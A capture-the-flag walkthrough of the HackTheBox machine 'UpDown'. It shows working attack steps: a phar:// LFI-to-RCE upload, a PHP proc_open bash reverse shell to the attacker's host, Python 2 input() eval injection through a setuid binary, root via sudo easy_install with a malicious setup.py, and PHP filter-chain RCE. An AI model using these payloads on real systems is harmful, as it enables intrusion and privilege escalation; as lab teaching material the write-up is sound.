UpDown presents a website designed to check the status of other webpages. The obvious attack path is an server-side request forgery, but nothing interesting comes from it. There is a dev subdomain, and I’ll find the git repo associated with it. Using that, I’ll figure out how to bypass the Apache filtering, and find a code execution vulnerability out of an LFI using the PHP Archive (or PHAR) format. With a shell, I’ll exploit a legacy Python script using input, and then get root by abusing easy_install.

Box Info

Name UpDown UpDown
Play on HackTheBox
Release Date 03 Sep 2022
Retire Date 21 Jan 2023
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for UpDown
Radar Graph Radar chart for UpDown
First Blood User 00:51:34celesian
First Blood Root 00:53:24celesian
Creator AB2



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-14 21:16 UTC
Nmap scan report for
Host is up (0.090s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.58 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-14 21:16 UTC
Nmap scan report for
Host is up (0.094s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.96 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu focal 20.04.

Website - TCP 80


The site is a simple up/down checker:


I’ll note it says siteisup.htb at the bottom. I’ll put my own host into the website (, and start nc listening on 80. On clicking check, there’s an HTTP request:

oxdf@hacky$ nc -lnvp 80
Listening on 80
Connection received on 42670
GET /test HTTP/1.1
User-Agent: siteisup.htb
Accept: */*

Custom User-Agent doesn’t leak what kind of tech is being used here, and there’s nothing else too interesting.

I’ll put some text into a file, and host it:

oxdf@hacky$ echo "hello!" > test
oxdf@hacky$ python -m http.server 80
Serving HTTP on port 80 ( ...

If I submit, there’s a successful request: - - [14/Jan/2023 21:33:00] "GET /test HTTP/1.1" 200 

And the site reports it’s up:


It’s hard to read, but it says “is up” in green.

If I do the same thing with “Debug mode (On/Off)” checked, it looks the same from my server, but the response includes the content:


Tech Stack

The HTTP response headers don’t tell me much:

HTTP/1.1 200 OK
Date: Sat, 14 Jan 2023 21:49:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1131
Connection: close
Content-Type: text/html; charset=UTF-8

Looking at the main page file name, index.php returns the same page, so that’s a good indication this is all built on PHP.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u http://siteisup.htb -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://siteisup.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Management Menu™
200      GET       40l       93w     1131c http://siteisup.htb/
403      GET        9l       28w      277c http://siteisup.htb/.php
301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200      GET       40l       93w     1131c http://siteisup.htb/index.php
200      GET        0l        0w        0c http://siteisup.htb/dev/index.php
403      GET        9l       28w      277c http://siteisup.htb/server-status
[####################] - 1m    180000/180000  0s      found:6       errors:18     
[####################] - 1m     60000/60000   516/s   http://siteisup.htb 
[####################] - 1m     60000/60000   516/s   http://siteisup.htb/ 
[####################] - 1m     60000/60000   507/s   http://siteisup.htb/dev 

/dev is interesting. Visiting it just return an empty page.

Subdomain Brute Force

Given the use of the domain name, I’ll fuzz for subdomains. I’ll start wfuzz without any filters, and note that the default response seems to be 1131 characters. I’ll ctrl-c to kill that, and add --hh 1131, and run again:

oxdf@hacky$ wfuzz -u -H "Host: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1131
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 4989

ID           Response   Lines    Word     Chars       Payload

000000019:   403        9 L      28 W     281 Ch      "dev"

Total time: 45.44443
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 109.7824

I’ll add both the domain and subdomain to my /etc/hosts file: siteisup.htb dev.siteisup.htb


Visiting this just returns 403 forbidden:


Shell as www-data

Get Source Code

Identify .git Repo

This is admittedly a weakness in my methodology. There are many ways to find a .git folder on a webserver. nmap has a script that’s included in -sC that will find it if it’s in the web root. There are also wordlists that check specifically for .git when brute forcing directories (ie, feroxbuster, etc). Unfortunately, for me, the list I like to use there doesn’t have .git in it.

When there’s a .git directory on another subdomain from my initial nmap scan or in a directory, my standard methodology will miss it. I handle that by checking a bit more manually for these. Others might prefer a different wordlist. Regardless, there is one here in /dev:


Download Repository

I like git-dumper for downloading .git repos from websites:

oxdf@hacky$ mkdir git
oxdf@hacky$ cd git/
oxdf@hacky$ /opt/git-dumper/git_dumper.py http://siteisup.htb/dev/.git/ .
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Running git checkout .
Updated 6 paths from the index

Sometimes it’ll crash on that last command, when it runs git checkout .. If that happens, I’ll run git status and see the issue:

oxdf@hacky$ git status                                                                           
fatal: detected dubious ownership in repository at '/media/sf_CTFs/hackthebox/updown-'                                 
To add an exception for this directory, call:

        git config --global --add safe.directory /media/sf_CTFs/hackthebox/updown- 

Running the command there will add the directory to a trusted one and allow me to work with it.

Source Analysis


The repo provides six files (and the .git directory):

oxdf@hacky$ ls -a
.  ..  admin.php  changelog.txt  checker.php  .git  .htaccess  index.php  stylesheet.css

Both admin.php and checker.php return 404 Not Found on the main site and in the /dev folder. Anything I try on dev.siteisup.htb returns 403, so hard to say there. But it seems like a likely candidate since I found it in the /dev folder.


The .htaccess file is used to manage access to a page or path on a webserver by Apache. The file here is using the Deny and Allow directives to manage access to the site:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

These are super unintuitive to manage, but unlike firewall rules, all the rules are processed, and the last one matching is applied. So here, first it applies the Deny All, which matches everything. Then it applies Allow from env=Required-Header. This is defined on the first line, which uses the SetEnvIfNocase directive to say that if there is a header named Special-Dev with the value “only4dev”, then set the Required-Header environment variable.

Effectively, this allows only requests with that header.


The next index.php page has a link to a admin.php, and then also uses an include to load the main body of the page:

<b>This is only for developers</b>
<a href="?page=admin">Admin Panel</a>
	if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
		include($_GET['page'] . ".php");

The preg_match is denylisting paths that might show up in a typical local file include, a common attack against this application structure. The page parameter has .php appended to it and that page is loaded and executed.

It also sets a variable, DIRECTACCESS to false. I’ll see in both admin.php and checker.php that the page will only load if this is set to false, preventing direct access to those pages.


This page blocks access if it is accessed directly (rather than included from index.php):

	die("Access Denied");


Other than that, it’s still in a “to do” state.


This page is very similar to the previous one, but this one has a form that takes a file labeled “List of websites to check” rather than a text field.

<form method="post" enctype="multipart/form-data">
			    <label>List of websites to check:</label><br><br>
				<input type="file" name="file" size="50">
				<input name="check" type="submit" value="Check">

If the request is a POST, it makes sure it’s not too large, and then gets the filename:

	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
	$file = $_FILES['file']['name'];

Next it checks against a denylist of file extensions:

	# Check if extension is allowed.
	$ext = getExtension($file);
		die("Extension not allowed!");

Then it creates a directory from the hash of the current time in the uploads directory, and moves the file into that:

	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
        mkdir($dir, 0770, true);
  # Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

It then does some stuff with the file, reading it, and checking websites. I’m going to ignore that bit for now. But I will note that at the end, it does delete the file (unlink):

  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                echo date("Y.m.d") . "<br>";
                echo "testing " . $site . ".<br>";
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";

  # Delete the uploaded file.
        echo "file is deleted?";

Interacting with dev.siteisup.htb

Set Header

Base on on the source code analysis, there are a few things I can try. First, I’ll use an extension like Modify Header Value to set a the custom header:


Now when I visit, I get the page:


It says “This is only for developers” and has a link to the “Admin Panel” at the top left. It says “(beta)” towards the bottom, and there’s a link to the changelog. Most interestingly, it now handles a file rather than a single site.

Upload List / Find Uploads

I’ll create a simple text file with some sites in it to check:


I don’t expect it to reach the first or third one, but I’ll start a Python webserver on mine. When I upload the file, it hangs for a bit, and then returns:


I’m not sure what the forth check is about.

/uploads has directory listing turned on:


But the folder is empty:


This is because of the unlink at the end of the file.

Zip Files

One more observersation - If I upload a zip file, something crashes and the file doesn’t delete itself. For example, I’ll zip the same text.txt from before:

oxdf@hacky$ zip text.zip test.txt 
  adding: test.txt (deflated 26%)
oxdf@hacky$ cp text.zip  text.0xdf

I can’t upload .zip files, so I’ll change the extension to .0xdf. I’ll upload it, and it returns immediately, showing no sites checked. But now looking in /uploads, the file is there:


I suspect the non-ascii text breaks the application, and it never reaches the unlink call. It is worth noting that a cron does clean up the directories and files in /uploads every five minutes.

PHP Execution

I’m going to show the intended way to get execution here. There’s another way I’ll show in Beyond Root.


Typically I think of needing a file to end in .php (or .ph3 or another known PHP extension to get execution). I also have to get around the fact that the script is going to add .php to the parameter I pass in.

I’m going to abuse the PHP Archive or PHAR format to get execution here. This is very similar to abusing the zip PHP stream wrapper way back in CrimeStoppers. The phar:// wrapper works with the format phar://[archive path]/[file inside the archive]. This means I can craft a URL that points to phar://0xdf.0xdf/info.php (where I’ll let the site add the .php to the end), and that file will be run from within the archive.

phpinfo POC

To test this, I’ll try creating a file that just calls phpinfo, and call it info.php:

<?php phpinfo(); ?>

I’ll put it into a zip archive:

oxdf@hacky$ zip info.0xdf info.php 
  adding: info.php (stored 0%)
oxdf@hacky$ file info.0xdf 
info.0xdf: Zip archive data, at least v1.0 to extract

I can’t use .zip files on the site, so I’ll use .0xdf as something arbitrary. I’ll upload that to the site:


It tried to check PK (the magic bytes at the start of a zip archive), and failed. The file is in /uploads/:


Now on visiting http://dev.siteisup.htb/?page=phar://uploads/828afc50efeaa61d10099d92a4f618c5/info.0xdf/info, there’s PHP info:


That’s execution.


From here, it’s temping to put up a web shell or PHP that generates a reverse shell, but these will fail. That’s because PHP is configured with many disable_functions listed:


These functions won’t work, and include most of the ones necessary to get execution. However, I could notice that proc_open isn’t listed.

Alternatively, there’s a tool that will check for me, dfunc-bypasser, available here. The tool is only legacy python, so I’ll have to run python2.

I’ll also need to add the only4dev header into the requests. I’ll notice at the top that it is using requests to make the request. Searching for where that’s later called, I’ll find this line:

    url = args.url
    phpinfo = requests.get(url).text

I’ll add the header in there:

    url = args.url
    phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).text

Running this now shows that proc_open isn’t blocked:

oxdf@hacky$ python2 dfunc-bypasser.py --url http://dev.siteisup.htb/?page=phar://uploads/5e31601b65f0062e32966f2f8e94fbb0/info.0xdf/info

                                  .'  .' `\   
                                  ,---.'     \  
                                  |   |  .`\  | 
                                  :   : |  '  | 
                                  |   ' '  ;  : 
                                  '   | ;  .  | 
                                  |   | :  |  ' 
                                  '   : | /  ;  
                                  |   | '` ,/   
                                  ;   :  .'     
                                  |   ,.'       

                        authors: __c3rb3ru5__, $_SpyD3r_$

Please add the following functions in your disable_functions option: 
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket


The PHP docs for proc_open describe it as:

similar to popen() but provides a much greater degree of control over the program execution.

Some Goolging for “proc_open reverse shell” leads me to this repo, where proc_open is called on line 69:


I’ll need to set $shell and $descriptospec. $pipes is not necessary since I’m just going to spawn a reverse shell, not try to read / write out of the process from PHP.

My reverse shell looks like, using a bash reverse shell as the payload:

        $descspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
        $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1'";
        $proc = proc_open($cmd, $descspec, $pipes);

I’ll zip it:

oxdf@hacky$ zip rev.0xdf rev.php 
  adding: rev.php (deflated 35%)

And upload it. Now I trigger it just like with phpinfo above, getting the latest uploads directory, and visiting /?page=phar://uploads/c96c440052e65f8e167cfe6248981ad9/rev.0xdf/rev.

There’s a connection at my listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 60210
bash: cannot set terminal process group (907): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade my shell with script and stty:

www-data@updown:/var/www/dev$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as developer


Web Directories

www-data’s home is /var/www. There are two sites set up:

www-data@updown:/var/www$ ls
dev  html

The code in dev matches what I pulled with git, so nothing interesting there.

The code in html is the main site. It’s just got a index.php and the dev folder, which just has an empty index.php and the .git folder:

www-data@updown:/var/www/html$ ls
dev  index.php  stylesheet.css
www-data@updown:/var/www/html$ cd dev
www-data@updown:/var/www/html/dev$ ls -la
total 12
drwxr-xr-x 3 www-data www-data 4096 Oct 20  2021 .
drwxr-xr-x 3 www-data www-data 4096 Jun 22  2022 ..
drwxr-xr-x 8 www-data www-data 4096 Oct 20  2021 .git
-rw-r--r-- 1 www-data www-data    0 Oct 20  2021 index.php

Home Directory

There’s one user on the box with a home directory in /home, developer:

www-data@updown:/home$ ls

user.txt is there, but www-data can’t read it:

www-data@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1 18:19 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2 09:15 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Jan 14 21:08 user.txt

In the dev directory, there’s a Python script and an executable:

www-data@updown:/home/developer/dev$ ls -l
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

The SetUID bit is set on siteisup, meaning it will run as developer.

siteisup Analysis

Python Script

The Python script is short:

import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
        print "Website is down"

The print calls use space in a way that show this is expecting to run with Python2. But if this is called with Python2, that input will be a major vulnerability.

Running it sadly doesn’t even work:

www-data@updown:/home/developer/dev$ python2 siteisup_test.py 
Enter URL here:
Traceback (most recent call last):
  File "siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
SyntaxError: invalid syntax

That’s because in Python2, input takes the input and passes it to eval, and my input isn’t valid python. I can pass it a one liner that will execute and get execution:

image-20230117171957540Click for full size image


Running the executable prints a welcome line, and then looks very similar to the python script:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:

In fact, it even crashes the same:

Enter URL here:
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
SyntaxError: invalid syntax

Running strings on the application shows why:

www-data@updown:/home/developer/dev$ strings -n 20 siteisup
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py

It’s calling the python script from the application.

Execution as developer


Putting all that together, I just need to run the binary (which runs as developer) and give it the Python code to run:

www-data@updown:/home/developer/dev$ ./siteisup            
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('id')
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):

It worked!


I’ll switch out id for bash:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

It returns a shell as developer! To be more specific, the process is running under the user developer, but the group is still www-data. This means I can’t read user.txt, as it’s owned by root, and in the developer group:

developer@updown:/home/developer$ ls -l
total 8
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Jan 14 21:08 user.txt


Fortunately, in developer’s .ssh directory, there’s an RSA key-pair:

developer@updown:/home/developer/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

The public key matches the authorized_keys file:

developer@updown:/home/developer/.ssh$ md5sum authorized_keys  id_rsa.pub 
4ecdaf650dc5b78cb29737291233fe99  authorized_keys
4ecdaf650dc5b78cb29737291233fe99  id_rsa.pub

So the private key should be good enough to get a shell as developer, and it does:

oxdf@hacky$ vim ~/keys/updown-developer
oxdf@hacky$ chmod 600 ~/keys/updown-developer
oxdf@hacky$ ssh -i ~/keys/updown-developer developer@siteisup.htb

And the user flag:

developer@updown:~$ cat user.txt

Shell as root


developer is able to run easy_install as root without a password:

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

Exploit easy_install


easy_install is a now deprecated way to install packages in Python. At it’s heart, it’s running a setup.py script which promises to take certain actions to install the package.


Since easy_install is effectively running a Python script, getting execution from it is trivial. There’s a GTFObins page for this with some copy paste to get shell, but I’ll work through it on my own to better understand it.

easy_install needs an argument to tell if what to install:

developer@updown:~$ sudo easy_install
error: No urls, filenames, or requirements specified (see --help)

It can take a URL (so I could host something malicious on my machine and fetch it), but it can also just take a directory. I’ll create a directory:

developer@updown:~$ mkdir /tmp/0xdf
developer@updown:~$ cd /tmp/0xdf

The malicious script goes into setup.py:

developer@updown:/tmp/0xdf$ echo -e 'import os\n\nos.system("/bin/bash")' > setup.py
developer@updown:/tmp/0xdf$ cat setup.py 
import os


In this case, I’m just having it import the os module and call os.system to run a Bash shell.

Now I just call easy_install pointing to that directory:

developer@updown:/tmp/0xdf$ sudo easy_install /tmp/0xdf/
WARNING: The easy_install command is deprecated and will be removed in a future version.
Writing /tmp/0xdf/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/0xdf/egg-dist-tmp-ObdjVa
root@updown:/tmp/0xdf# id
uid=0(root) gid=0(root) groups=0(root)

And read root.txt:

root@updown:~# cat root.txt

Beyond Root - LFI2RCE via PHP Filters


There’s a really nice method for turning an LFI into RCE using PHP filters. As far as I know, this was first posted here and HackTricks based on this CTF writeup from loknop, and later Synacktiv published an awesome blog post and a script POC.

At a high level, this works by passing text into various PHP filters. PHP filters are meant to read some resource and then apply some filter to it (like base64 encode / decode or converting text format).

The author of this attack figured out how to pass even an empty string into a long chain of filters to produce any output on the page the user wants. And if this is PHP output, because it’s in an include, then it will be executed.

Updated to add a video I did on this technique:


For now, I’ll just use the provided script (I am interested in doing a more in-depth explanation of how this works - let me know if you’re interested).

I’ll clone the repo, and run the script:

oxdf@hacky$ python php_filter_chain_generator.py -h                                                                                                          usage: php_filter_chain_generator.py [-h] [--chain CHAIN] [--rawbase64 RAWBASE64]

PHP filter chain generator.

-h, --help            show this help message and exit
--chain CHAIN         Content you want to generate. (you will maybe need to pad with spaces for your payload to work)
--rawbase64 RAWBASE64   The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.

It takes a “chain”, which is the content I want to be a part of the page. I’ll have it add some PHP that will echo a message. It generates this long output:

oxdf@hacky$ python php_filter_chain_generator.py --chain '<?php echo "0xdf was here"; ?>'
[+] The following gadget chain will generate the following code : <?php echo "0xdf was here"; ?> (base64 value: PD9waHAgZWNobyAiMHhkZiB3YXMgaGVyZSI7ID8+)

I’ll visit http://dev.siteisup.htb/?page=admin to get that request into Burp. Now I can send that request over to Repeater, and I’ll replace admin with that full chain above. On sending, it works:


There’s some extra junk at the end, but the PHP must have been added to the page and executed to print “0xdf was here”.

If I can run echo, I can also run proc_open just like above, using this to get a webshell and/or a reverse shell, though this can be very tricky as the URL gets long, and then the site will start 414 Request-URI Too Long errors. There’s probably a way to bypass this by loading remote code or something.